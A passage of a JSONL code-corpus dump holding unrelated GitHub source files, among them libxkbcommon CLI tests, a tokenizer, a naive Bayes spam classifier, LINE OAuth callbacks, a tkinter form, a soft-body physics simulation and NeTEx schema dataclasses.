rc, stdout, stderr = self.xkbcli_compile_keymap.run_command(args)\n assert rc == 1, (stdout, stderr)\n assert \"There are no include paths to search\" in stderr\n\n # A non-existing directory is rejected by default\n args = [\"--include\", \"/tmp/does/not/exist\"]\n rc, stdout, stderr = self.xkbcli_compile_keymap.run_command(args)\n assert rc == 1, (stdout, stderr)\n assert \"There are no include paths to search\" in stderr\n\n # Valid dir, but missing files\n args = [\"--include\", \"/tmp\"]\n rc, stdout, stderr = self.xkbcli_compile_keymap.run_command(args)\n assert rc == 1, (stdout, stderr)\n assert \"Couldn't look up rules\" in stderr\n\n def test_how_to_type(self):\n # Unicode codepoint conversions, we support whatever strtol does\n for args in ([\"123\"], [\"0x123\"], [\"0123\"]):\n with self.subTest(args=args):\n self.xkbcli_how_to_type.run_command_success(args)\n\n def test_how_to_type_rmlvo(self):\n for rmlvo in rmlvos:\n with self.subTest(rmlvo=rmlvo):\n args = rmlvo + [\"0x1234\"]\n self.xkbcli_how_to_type.run_command_success(args)\n\n def test_list_rmlvo(self):\n for args in (\n [\"--verbose\"],\n [\"-v\"],\n [\"--verbose\", \"--load-exotic\"],\n [\"--load-exotic\"],\n [\"--ruleset=evdev\"],\n [\"--ruleset=base\"],\n ):\n with self.subTest(args=args):\n self.xkbcli_list.run_command_success(args)\n\n def test_list_rmlvo_includes(self):\n args = [\"/tmp/\"]\n self.xkbcli_list.run_command_success(args)\n\n def test_list_rmlvo_includes_invalid(self):\n args = [\"/proc/version\"]\n rc, stdout, stderr = self.xkbcli_list.run_command(args)\n assert rc == 1\n assert \"Failed to append include path\" in stderr\n\n def test_list_rmlvo_includes_no_defaults(self):\n args = [\"--skip-default-paths\", \"/tmp\"]\n rc, stdout, stderr = self.xkbcli_list.run_command(args)\n assert rc == 1\n assert \"Failed to parse XKB description\" in stderr\n\n def test_interactive_evdev_rmlvo(self):\n for rmlvo in rmlvos:\n with self.subTest(rmlvo=rmlvo):\n self.xkbcli_interactive_evdev.run_command_success(rmlvo)\n\n def test_interactive_evdev(self):\n # Note: --enable-compose fails if $prefix doesn't have the compose tables\n # installed\n for args in (\n [\"--report-state-changes\"],\n [\"--enable-compose\"],\n [\"--consumed-mode=xkb\"],\n [\"--consumed-mode=gtk\"],\n [\"--without-x11-offset\"],\n ):\n with self.subTest(args=args):\n self.xkbcli_interactive_evdev.run_command_success(args)\n\n def test_interactive_x11(self):\n # To be filled in if we handle something other than --help\n pass\n\n def test_interactive_wayland(self):\n # To be filled in if we handle something other than --help\n pass\n\n\nif __name__ == \"__main__\":\n with tempfile.TemporaryDirectory() as tmpdir:\n # Use our own test xkeyboard-config copy.\n os.environ[\"XKB_CONFIG_ROOT\"] = top_srcdir + \"/test/data\"\n # Use our own X11 locale copy.\n os.environ[\"XLOCALEDIR\"] = top_srcdir + \"/test/data/locale\"\n # Use our own locale.\n os.environ[\"LC_CTYPE\"] = \"en_US.UTF-8\"\n # libxkbcommon has fallbacks when XDG_CONFIG_HOME isn't set so we need\n # to override it with a known (empty) directory. Otherwise our test\n # behavior depends on the system the test is run on.\n os.environ[\"XDG_CONFIG_HOME\"] = tmpdir\n # Prevent the legacy $HOME/.xkb from kicking in.\n del os.environ[\"HOME\"]\n # This needs to be separated if we do specific extra path testing\n os.environ[\"XKB_CONFIG_EXTRA_PATH\"] = tmpdir\n\n unittest.main()\n","repo_name":"xkbcommon/libxkbcommon","sub_path":"test/tool-option-parsing.py","file_name":"tool-option-parsing.py","file_ext":"py","file_size_in_byte":11189,"program_lang":"python","lang":"en","doc_type":"code","stars":224,"dataset":"github-code","pt":"70"} +{"seq_id":"28316997038","text":"# MIT License\r\n\r\n# Copyright (c) 2021 xp\r\n\r\n# Permission is hereby granted, free of charge, to any person obtaining a copy\r\n# of this software and associated documentation files (the \"Software\"), to deal\r\n# in the Software without restriction, including without limitation the rights\r\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n# copies of the Software, and to permit persons to whom the Software is\r\n# furnished to do so, subject to the following conditions:\r\n\r\n# The above copyright notice and this permission notice shall be included in all\r\n# copies or substantial portions of the Software.\r\n\r\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n# SOFTWARE.\r\nfrom typing import Iterable\r\n\r\nclass TokenType:\r\n \r\n def __init__(self, name: str) -> None:\r\n self.name = name\r\n def __repr__(self):\r\n return self.name\r\n def __eq__(self, o):\r\n if isinstance(o, Token):\r\n return self.name == o.type\r\n return (self.name == o) if not isinstance(o, TokenType) else (self.name == o.name)\r\n\r\nclass Token:\r\n \r\n def __init__(self, type_: TokenType, value) -> None:\r\n if not isinstance(type_, TokenType):\r\n raise TypeError(\r\n f\"type_ argument must be TokenType not {type(type_).__name__}\"\r\n )\r\n self.type, self.value = type_, value\r\n self.line, self.col = None, None\r\n def set_lc(self, line:int, col:int):\r\n self.line, self.col = line, col\r\n def __repr__(self) -> str:\r\n return \"Token({type}, '{value}')\".format(\r\n type=self.type,value=self.value\r\n )\r\n def __eq__(self, o: object) -> bool:\r\n if isinstance(o, Token):\r\n return (self.type == o.type and self.value == o.value)\r\n return (self.type == o) if isinstance(o, TokenType) else (self.value == o)\r\n def __ne__(self, o: object) -> bool:\r\n return not self.__eq__(o)\r\n\r\ndef generate_tokens(name: str, tokens: Iterable[str], build:bool=False):\r\n if not name.isidentifier():\r\n raise TypeError(\r\n f\"Invalid class name: {name}\"\r\n )\r\n for t in tokens:\r\n if not t.isidentifier():\r\n raise TypeError(\r\n f\"Invalid token name: {t}\"\r\n )\r\n code = \"\"\"\\\r\nclass {name}:\r\n{attributes}\\\r\n\"\"\".format(\r\n name=name,\r\n attributes=\"\\n\".join(\r\n (f\" {t} = TokenType('{t}')\" for t in tokens)\r\n )\r\n )\r\n if build is True:\r\n return code\r\n exec(code)\r\n return eval(name)\r\n\r\nclass TokenTree:\r\n \r\n def __init__(self, source: str, *tokens: Token) -> None:\r\n self.source = source\r\n self.tokens, self.len_t = tokens, len(tokens)\r\n self.pos, self.token = -1, None\r\n self.line, self.col = 0, 0\r\n \r\n def __getitem__(self, index):\r\n return self.tokens[index]\r\n \r\n def next_token(self):\r\n self.pos += 1\r\n if self.pos >= self.len_t:\r\n self.token = None\r\n return self.token\r\n else:\r\n self.token = self.tokens[self.pos]\r\n self.line, self.col = self.token.line, self.token.col\r\n return self.token\r\n \r\n def peek(self, step:int=1):\r\n p = self.pos+step\r\n if p >= self.len_t:\r\n return None\r\n return self.tokens[p]\r\n \r\n def get(self, o: object, default=None):\r\n for t in self.tokens:\r\n if t == o:\r\n return t\r\n return default\r\n \r\n def __repr__(self):\r\n string = \"TokenTree:\\n\"\r\n space = \" \"*len(string[:-1])\r\n for token in self.tokens:\r\n head = f\"{token.type}:\"\r\n content = f\"{' '*len(head)}\\\"{token.value}\\\"\"\r\n string += space+head+\"\\n\"+space+content+\"\\n\"\r\n return string","repo_name":"najis-poop/LPV","sub_path":"LPV/src/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"889428934","text":"import pandas as pd\n\nfrom utils import load_data, preprocessing\n\n\n\nclass NB_classifier(object):\n def __init__(self, data):\n print(\"Initialised\")\n self.table = preprocessing(data)\n self.spam = self.table[data['v1'] == 'spam']\n self.ham = self.table[data['v1'] == 'ham']\n self.data = self.spam, self.ham\n self.length = len(self.ham), len(self.spam)\n\n \n def predict(self, data):\n print(\"predicting..\")\n pred_data = preprocessing(data)\n pred = []\n gt = []\n for index, row in pred_data.iterrows():\n pred.append(self.predict_single(row['v2']))\n gt.append(row['v1'])\n self.get_metrics(pred, gt)\n \n def get_metrics(self, pred, gt):\n count = 0\n for p,t in zip(pred,gt):\n if round(p) == t:\n count+=1\n return count/len(pred)\n\n def predict_single(self, msg):\n prob_spam = self.P_X_given_y(msg, y=1) * self.P_y(y=1) \n prob_ham = self.P_X_given_y(msg, y=0) * self.P_y(y=0)\n\n return prob_spam/(prob_spam+prob_ham)\n\n def P_y(self, y):\n return self.length[y]/(self.length[0] + self.length[1])\n\n def P_X_given_y(self, msg, y):\n prod = 1\n for word in msg.split():\n try:\n prod *= self.P_xj_given_y(word, y)\n except:\n pass\n\n def P_xj_given_y(self, word, y):\n count = 0\n data = self.data[y]\n for index, row in data.iterrows():\n if word in row['v2']:\n count += 1\n return count/self.length[y]\n\n\n\n","repo_name":"nitinkgp23/spam-detector","sub_path":"classifiers.py","file_name":"classifiers.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13605717987","text":"from flask import redirect, request\nimport os\nimport requests\nfrom firebase_admin import auth\nfrom urllib.parse import urlparse\nimport re\nimport json\n\n\ndef LineNotifyCallback(db, allowed_domains):\n code = request.form[\"code\"]\n userUuid = request.form[\"state\"]\n LINE_NOTIFY_CLIENT = json.loads(os.getenv(\"LINE_NOTIFY_CLIENT\"))\n url = \"https://notify-bot.line.me/oauth/token\"\n payload = {\n \"grant_type\": \"authorization_code\",\n \"code\": code,\n \"redirect_uri\": f'{os.getenv(\"BACKEND_URL\")}/line-notify-callback',\n \"client_id\": LINE_NOTIFY_CLIENT[\"ID\"],\n \"client_secret\": LINE_NOTIFY_CLIENT[\"SECRET\"],\n }\n headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n res = requests.post(url, headers=headers, data=payload)\n access_token = res.json()[\"access_token\"]\n db.collection(\"Users\").document(userUuid).collection(\"Schedule\").document(\n \"config\"\n ).update({\"lineToken\": access_token})\n return redirect(allowed_domains[0], code=302)\n\n\ndef LineLoginCallback(db, allowed_domains):\n code = request.args.get(\"code\")\n state = request.args.get(\"state\")\n LINE_LOGIN_CLIENT = json.loads(os.getenv(\"LINE_LOGIN_CLIENT\"))\n if check_in_allow_domain(state, allowed_domains):\n url = \"https://api.line.me/oauth2/v2.1/token\"\n payload = {\n \"grant_type\": \"authorization_code\",\n \"code\": code,\n \"redirect_uri\": f'{os.getenv(\"BACKEND_URL\")}/line-login-callback',\n \"client_id\": LINE_LOGIN_CLIENT[\"ID\"],\n \"client_secret\": LINE_LOGIN_CLIENT[\"SECRET\"],\n }\n res = requests.post(url, data=payload)\n access_token = res.json()[\"access_token\"]\n\n url_getUserInfo = \"https://api.line.me/oauth2/v2.1/userinfo\"\n headers = {\"Authorization\": f\"Bearer {access_token}\"}\n res = requests.get(url_getUserInfo, headers=headers)\n subject = res.json()[\"sub\"]\n\n query = db.collection(\"Users\").where(\"lineSub\", \"==\", subject).get()\n if query:\n fireSub = query[0].to_dict()[\"firebaseSub\"]\n custom_token = auth.create_custom_token(fireSub).decode(\"utf-8\")\n return redirect(\n f\"{urlparse(state).scheme}://{urlparse(state).netloc}/login?return={urlparse(state).path}#{custom_token}\",\n code=302,\n )\n else:\n return redirect(\n f\"{urlparse(state).scheme}://{urlparse(state).netloc}/bind#{access_token}\",\n code=302,\n )\n else:\n return redirect(\n f\"{allowed_domains[0]}\",\n code=302,\n )\n\n\ndef check_in_allow_domain(url, allowed_domains):\n if not url:\n return False\n else:\n for domain in allowed_domains:\n if bool(\n re.match(domain, f\"{urlparse(url).scheme}://{urlparse(url).netloc}\")\n ):\n return True\n return False\n","repo_name":"Tainan-Public-Witnessing/tainan-public-witnessing","sub_path":"backend/callback.py","file_name":"callback.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10951656224","text":"import tkinter as tk\r\nfrom tkinter import messagebox\r\nfrom exos.classe.roman import Roman\r\n\r\nclass Romantkinder(tk.Tk):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.title(\"Fiche Roman\")\r\n\r\n # Nom\r\n tk.Label(self, text=\"Nom\").grid(row=0, column=0)\r\n self.nom_entry = tk.Entry(self)\r\n self.nom_entry.grid(row=0, column=1)\r\n\r\n # Auteur\r\n tk.Label(self, text=\"Auteur\").grid(row=1, column=0)\r\n self.auteur_entry = tk.Entry(self)\r\n self.auteur_entry.grid(row=1, column=1)\r\n\r\n # Maison d'édition\r\n tk.Label(self, text=\"Maison d'édition\").grid(row=2, column=0)\r\n self.maison_edition_entry = tk.Entry(self)\r\n self.maison_edition_entry.grid(row=2, column=1)\r\n\r\n # Code barre\r\n tk.Label(self, text=\"Code barre\").grid(row=3, column=0)\r\n self.code_barre_entry = tk.Entry(self)\r\n self.code_barre_entry.grid(row=3, column=1)\r\n\r\n # Genre\r\n tk.Label(self, text=\"Genre\").grid(row=4, column=0)\r\n self.genre_var = tk.StringVar(value=\"Policier\")\r\n self.genre_combobox = tk.OptionMenu(self, self.genre_var, \"Policier\", \"Fantastique\", \"Science-Fiction\", \"Horreur\", \"Drame\", \"Comédie\", \"Romance\", \"Autre\")\r\n self.genre_combobox.grid(row=4, column=1)\r\n\r\n # Description\r\n tk.Label(self, text=\"Description Roman\").grid(row=5, column=0)\r\n self.description_entry = tk.Text(self, height=5, width=30)\r\n self.description_entry.grid(row=5, column=1)\r\n\r\n # Bouton sauver\r\n tk.Button(self, text=\"Sauver\", command=self.sauver).grid(row=6, column=0, pady=10)\r\n\r\n # Bouton fermer\r\n tk.Button(self, text=\"Fermer\", command=self.destroy).grid(row=6, column=1, pady=10)\r\n\r\n def sauver(self):\r\n \"\"\"\r\n Enregistre les informations saisies dans un fichier\r\n \"\"\"\r\n nom = self.nom_entry.get()\r\n auteur = self.auteur_entry.get()\r\n maison_edition = self.maison_edition_entry.get()\r\n code_barre = self.code_barre_entry.get()\r\n genre = self.genre_var.get()\r\n description = self.description_entry.get(\"1.0\", \"end-1c\")\r\n\r\n roman = Roman(nom, auteur, maison_edition, code_barre, genre, description)\r\n\r\n with open(\"BDD.txt\", \"a\") as f:\r\n f.write(f\"\"\"\r\n --------------------\r\n Nom: {roman.nom}\r\n Auteur: {roman.auteur}\r\n Maison d'edition: {roman.maison_edition}\r\n Code barre: {roman.code_barre}\r\n Type roman: {roman.type_roman}\r\n Description: {roman.description_type}\r\n --------------------\r\n \\n\r\n \"\"\")\r\n\r\n messagebox.showinfo(\"Confirmation\", \"Le roman a été sauvegardé.\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"ChukyFredj/TP2-Python","sub_path":"exos/classe/tkinder.py","file_name":"tkinder.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22062779235","text":"from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nNAME_MIN_LENGTH = 2\nNAME_MAX_LENGTH = 32\nSURFACE_MIN_LENGTH = 1\nSURFACE_MAX_LENGTH = 16\n\n\nclass CourtIn(BaseModel):\n name: str = Field(min_length=NAME_MIN_LENGTH, max_length=NAME_MAX_LENGTH)\n surface: Optional[str] = Field(min_length=SURFACE_MIN_LENGTH, max_length=SURFACE_MAX_LENGTH)\n\n class Config:\n schema_extra = {\n 'example': {\n 'name': 'Wimbledon Centre Court',\n 'surface': 'grass'\n }\n }\n\n\nclass CourtOut(CourtIn):\n id: int\n\n class Config:\n schema_extra = {\n 'example': {\n 'name': 'Arthur Ashe Stadium',\n 'surface': 'hard',\n 'id': 5\n }\n }\n\n orm_mode = True\n","repo_name":"Schmiedwerk/Courter","sub_path":"Server/api/schemes/court.py","file_name":"court.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"71135402468","text":"from charms.lte_core_interface.v0.lte_core_interface import (\n LTECoreAvailableEvent,\n LTECoreRequires,\n)\nfrom ops.charm import CharmBase\nfrom ops.main import main\n\n\nclass DummyLTECoreRequirerCharm(CharmBase):\n \"\"\"Charm the service.\"\"\"\n\n def __init__(self, *args):\n \"\"\"Init.\"\"\"\n super().__init__(*args)\n self.lte_core_requirer = LTECoreRequires(self, \"lte-core\")\n self.framework.observe(\n self.lte_core_requirer.on.lte_core_available,\n self._on_lte_core_available,\n )\n\n def _on_lte_core_available(self, event: LTECoreAvailableEvent) -> None:\n mme_ipv4_address = event.mme_ipv4_address # noqa: F841\n # Here must be the code which uses the mme_ipv4_address\n\n\nif __name__ == \"__main__\":\n main(DummyLTECoreRequirerCharm)\n","repo_name":"canonical/lte-core-interface","sub_path":"tests/unit/charms/lte_core_interface/v0/dummy_requirer_charm/src/charm.py","file_name":"charm.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"7774871139","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: ghz\n@contact: ghz65535@163.com\n@time: 2023-02-11\n\"\"\"\nimport collections\nimport datetime\nimport os\nimport random\nimport pygame\n\n\ndef play_mp3(path):\n if not path:\n return\n try:\n # stop previous music\n pygame.mixer.music.stop()\n pygame.mixer.music.unload()\n pygame.mixer.music.load(path)\n # https://www.pygame.org/docs/ref/music.html\n pygame.mixer.music.play(loops=0, start=0.0, fade_ms=0)\n except Exception as e:\n print(e)\n pass\n\n\nclass HourReporting:\n def __init__(self):\n self.current_dir = os.path.dirname(os.path.abspath(__file__))\n self.clock_dir = f'{self.current_dir}/hour_reporting'\n self.clock_mp3 = collections.defaultdict(set)\n self.last_play_clock_time = 0\n self.scan_clock_mp3()\n pygame.init()\n\n def scan_clock_mp3(self):\n for i in range(24):\n target_dir = f'{self.clock_dir}/{i:02}'\n os.makedirs(target_dir, exist_ok=True)\n for file in os.listdir(target_dir):\n if file.endswith('.mp3'):\n self.clock_mp3[i].add(f'{self.clock_dir}/{i:02}/{file}')\n\n def check_and_report(self):\n current = datetime.datetime.now()\n current_time = current.timestamp()\n if current_time - self.last_play_clock_time >= 5:\n weekday = current.weekday()\n hour = current.hour\n minute = current.minute\n second = current.second\n # Working day: 7am to 11pm\n # Non-working day: 9am to 11pm\n if (0 <= weekday <= 4 and 7 <= hour <= 23) or (5 <= weekday <= 6 and 9 <= hour <= 23):\n if minute == 0 and 0 <= second <= 2:\n play_mp3(random.choice(list(self.clock_mp3[hour])))\n self.last_play_clock_time = current_time\n self.scan_clock_mp3()\n","repo_name":"9hz/electronic_picture_frame","sub_path":"frame_hour_reporting.py","file_name":"frame_hour_reporting.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37218731586","text":"from numpy import zeros,around,conj,inf,array\nfrom math import floor\nimport pygame as pg\nfrom math import sqrt\n\n\n\nclass Body:\n def __init__(self,config):\n self.points=zeros(config.dimensions,dtype=complex)\n self.pointVels=zeros(config.dimensions,dtype=complex)\n self.dimensions=config.dimensions\n self.pointSpaceing=config.pointSpaceing\n\n self.gravity=config.gravity\n self.pointMass=config.pointMass\n self.springConst=config.springConst\n self.damping=config.damping\n self.constructBody(config.bodyStart)\n\n self.screenSize=config.screenSize\n self.collisionDamping=config.collisionDamping\n self.friction=config.friction\n\n self.pointIsTeathered=False\n self.pointTeatheredIndex=array((-1,-1),dtype=int)\n self.teatherLength=-1\n self.circleRadius=config.circleRadius\n\n def constructBody(self,topLeftPoint):\n for xIndex in range(0,self.dimensions[0]):\n for yIndex in range(0,self.dimensions[1]):\n self.points[xIndex,yIndex]=topLeftPoint+xIndex*self.pointSpaceing+yIndex*self.pointSpaceing*1j\n self.pointVels[xIndex,yIndex]=0\n\n def applyForces(self,deltaT,externalForces,display):\n #external forces are things applied uniformly to each point (ie gravity)\n\n #for each point...\n for xIndex in range(0,self.dimensions[0]):\n for yIndex in range(0,self.dimensions[1]):\n #...apply acceleration caused by all adjacent points\n for offsets in ((1,0),(1,1),(0,1),(-1,1)): \n offsetX=offsets[0]\n offsetY=offsets[1]\n #checks if index is valid\n if xIndex+offsetX>=0 and yIndex+offsetY>=0:\n if xIndex+offsetX1:\n colorMod=1\n point1=self.points[xIndex+offsetX,yIndex+offsetY]\n point2=self.points[xIndex,yIndex]\n pg.draw.aaline(display, (255,int(255-255*colorMod),int(255-255*colorMod)),(point1.real,point1.imag), (point2.real,point2.imag))\n #...applys externalForces\n self.pointVels[xIndex,yIndex]+=externalForces*deltaT/self.pointMass\n\n #..apply boundry forces\n #real axis\n if self.points[xIndex,yIndex].real<=0:\n self.pointVels[xIndex,yIndex]=abs(self.pointVels[xIndex,yIndex].real*(1-self.collisionDamping))+(1-self.friction)*self.pointVels[xIndex,yIndex].imag*1j\n\n if self.points[xIndex,yIndex].real>=self.screenSize[0]:\n self.pointVels[xIndex,yIndex]=-abs(self.pointVels[xIndex,yIndex].real*(1-self.collisionDamping))+(1-self.friction)*self.pointVels[xIndex,yIndex].imag*1j\n \n #imag axis\n if self.points[xIndex,yIndex].imag<=0:\n self.pointVels[xIndex,yIndex]=(1-self.friction)*self.pointVels[xIndex,yIndex].real+abs((self.pointVels[xIndex,yIndex].imag*(1-self.collisionDamping)))*1j\n\n if self.points[xIndex,yIndex].imag>=self.screenSize[1]:\n self.pointVels[xIndex,yIndex]=(1-self.friction)*self.pointVels[xIndex,yIndex].real-abs((self.pointVels[xIndex,yIndex].imag*(1-self.collisionDamping)))*1j\n\n def applyMotion(self,deltaT):\n self.points+=self.pointVels*deltaT\n self.points=self.points\n\n def findNearestPointIndex(self,point):\n minDist=inf\n x,y=-1,-1\n for xIndex in range(0,self.dimensions[0]):\n for yIndex in range(0,self.dimensions[1]):\n dist=abs(self.points[xIndex,yIndex]-point)\n if distself.teatherLength:\n velVec=-self.pointVels[xIndex,yIndex]\n deltaDisplacement=(velVec.real*displacementVec.real +velVec.imag*displacementVec.imag)/(displacement**2)\n\n force=around((self.springConst) * (1-self.teatherLength/displacement)*displacementVec +self.damping*deltaDisplacement*displacementVec,5)\n\n self.pointVels[xIndex,yIndex]+=force*deltaT/self.pointMass\n\n #draws lines\n colorMod=abs(1-self.teatherLength/displacement)\n if colorMod>1:\n colorMod=1\n pg.draw.aaline(display, (255,int(255-255*colorMod),int(255-255*colorMod)),(mousePos.real,mousePos.imag), (self.points[xIndex,yIndex].real,self.points[xIndex,yIndex].imag))\n\n def handler(self,display,deltaT,tickNumber,mousePos):\n self.applyForces(deltaT,self.gravity,display)\n self.applyMotion(deltaT)\n self.drawNearest(display,mousePos)\n if self.pointIsTeathered:\n self.applyTeather(display,deltaT,mousePos)\n\n\n\n","repo_name":"PrinceOfPuppers/soft-body-simulator","sub_path":"body.py","file_name":"body.py","file_ext":"py","file_size_in_byte":7012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"35817039917","text":"import os\nimport numpy as np\nfrom PIL import Image\n\n\n\ndata_path = './data/LINEMOD/renders/'\ntarget = 'nihonbashi'\nsave_pose_dir = '/home/doors/workspace/darwin/dataset/LINEMOD/nihonbashi/pose'\nsave_mask_dir = '/home/doors/workspace/darwin/dataset/LINEMOD/nihonbashi/mask'\n\ndef read_linemod_mask(path):\n return (np.asarray(Image.open(path))).astype(np.uint8)*255\n\n#save pose\nfor asd in os.listdir(f'./data/LINEMOD/renders/{target}'):\n if asd.endswith('.pkl'):\n tes = np.load(os.path.join(data_path, target, asd), allow_pickle=True)\n iterator = asd.split('_')[0]\n np.save(os.path.join(save_pose_dir, 'pose'+iterator), tes['RT'])\n \n elif asd.endswith('.png'):\n filename = os.path.join(data_path, target, asd)\n mask_image = read_linemod_mask(filename)\n\n iterator = asd.split('_')[0]\n im = Image.fromarray(mask_image)\n im.save(os.path.join(save_mask_dir, iterator+'.png'))\n","repo_name":"darwinharianto/pvnet-rendering","sub_path":"prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"70"} +{"seq_id":"1758772302","text":"import sys\ninput = sys.stdin.readline\ninf = sys.maxsize\n\nn = int(input())\nm = int(input())\ncost = [[inf] * (n+1) for _ in range(n+1)]\ndp = [[[] for _ in range(n+1)] for _ in range(n+1)]\n\nfor i in range(n+1):\n cost[i][i] = 0\n\nfor _ in range(m):\n a, b, c = map(int, input().split())\n cost[a][b] = min(cost[a][b], c)\n dp[a][b] = [a, b]\n\nfor k in range(1, n+1):\n for i in range(1, n+1):\n for j in range(1, n+1):\n if cost[i][k] + cost[k][j] < cost[i][j]:\n cost[i][j] = cost[i][k] + cost[k][j]\n dp[i][j] = dp[i][k] + dp[k][j][1:]\n\nfor i in range(n+1):\n for j in range(n+1):\n if cost[i][j] == inf:\n cost[i][j] = 0\n\nfor data in cost[1:]:\n print(*data[1:])\n\nfor routes in dp[1:]:\n for route in routes[1:]:\n print(len(route), *route)","repo_name":"me33x3/algorithm-study","sub_path":"baekjoon/11780/11780.py","file_name":"11780.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43200511402","text":"from dataclasses import dataclass, field\nfrom typing import Optional\nfrom .alternative_texts_rel_structure import DataManagedObjectStructure\nfrom .journey_headways_rel_structure import JourneyHeadwaysRelStructure\nfrom .journey_layovers_rel_structure import JourneyLayoversRelStructure\nfrom .journey_run_times_rel_structure import JourneyRunTimesRelStructure\nfrom .journey_wait_times_rel_structure import JourneyWaitTimesRelStructure\nfrom .multilingual_string import MultilingualString\nfrom .presentation_structure import PresentationStructure\nfrom .private_code import PrivateCode\nfrom .type_of_time_demand_type_ref import TypeOfTimeDemandTypeRef\nfrom .vehicle_type_preferences_rel_structure import VehicleTypePreferencesRelStructure\n\n__NAMESPACE__ = \"http://www.netex.org.uk/netex\"\n\n\n@dataclass\nclass TimeDemandTypeVersionStructure(DataManagedObjectStructure):\n class Meta:\n name = \"TimeDemandType_VersionStructure\"\n\n name: Optional[MultilingualString] = field(\n default=None,\n metadata={\n \"name\": \"Name\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n description: Optional[MultilingualString] = field(\n default=None,\n metadata={\n \"name\": \"Description\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n private_code: Optional[PrivateCode] = field(\n default=None,\n metadata={\n \"name\": \"PrivateCode\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n type_of_time_demand_type_ref: Optional[TypeOfTimeDemandTypeRef] = field(\n default=None,\n metadata={\n \"name\": \"TypeOfTimeDemandTypeRef\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n presentation: Optional[PresentationStructure] = field(\n default=None,\n metadata={\n \"name\": \"Presentation\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n run_times: Optional[JourneyRunTimesRelStructure] = field(\n default=None,\n metadata={\n \"name\": \"runTimes\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n wait_times: Optional[JourneyWaitTimesRelStructure] = field(\n default=None,\n metadata={\n \"name\": \"waitTimes\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n layovers: Optional[JourneyLayoversRelStructure] = field(\n default=None,\n metadata={\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n headways: Optional[JourneyHeadwaysRelStructure] = field(\n default=None,\n metadata={\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n vehicle_preferences: Optional[VehicleTypePreferencesRelStructure] = field(\n default=None,\n metadata={\n \"name\": \"vehiclePreferences\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n }\n )\n","repo_name":"tefra/xsdata-samples","sub_path":"netex/models/time_demand_type_version_structure.py","file_name":"time_demand_type_version_structure.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"74315805987","text":"# =============================================================\n# Module vector.py\n# =============================================================\n# Berisi semua hal yang berkaitan dengan vektor\n# Operasi vektor, menghitung magnitude, dot product, cosine similarity, dan mekonversi token kata menjadi vektor\n\ndef vectorize(tokens):\n # Membuat vektor token kata dokumen dari sekumpulan token kata dokumen\n # Mengambil seluruh kata-kata yang ada dalam kumpulan dokumen\n words = []\n \n for tok in tokens:\n words += tok\n \n words = set(words)\n res = []\n\n # Membuat vektor untuk masing-masing dokumen\n for tok in tokens:\n vector = []\n m = dict()\n\n for word in words:\n m[word] = 0\n\n for word in tok:\n m[word] += 1\n \n for key, value in m.items():\n vector.append(value)\n\n res.append(vector)\n \n return res\n\ndef term_frequency(tokens):\n # Membuat map frekuensi kata dokumen dari sekumpulan token kata dokumen\n # Mengambil seluruh kata-kata yang ada dalam kumpulan dokumen\n words = []\n \n for tok in tokens:\n words += tok\n \n words = set(words)\n res = []\n\n # Membuat vektor untuk masing-masing dokumen\n for tok in tokens:\n m = dict()\n\n for word in words:\n m[word] = 0\n\n for word in tok:\n m[word] 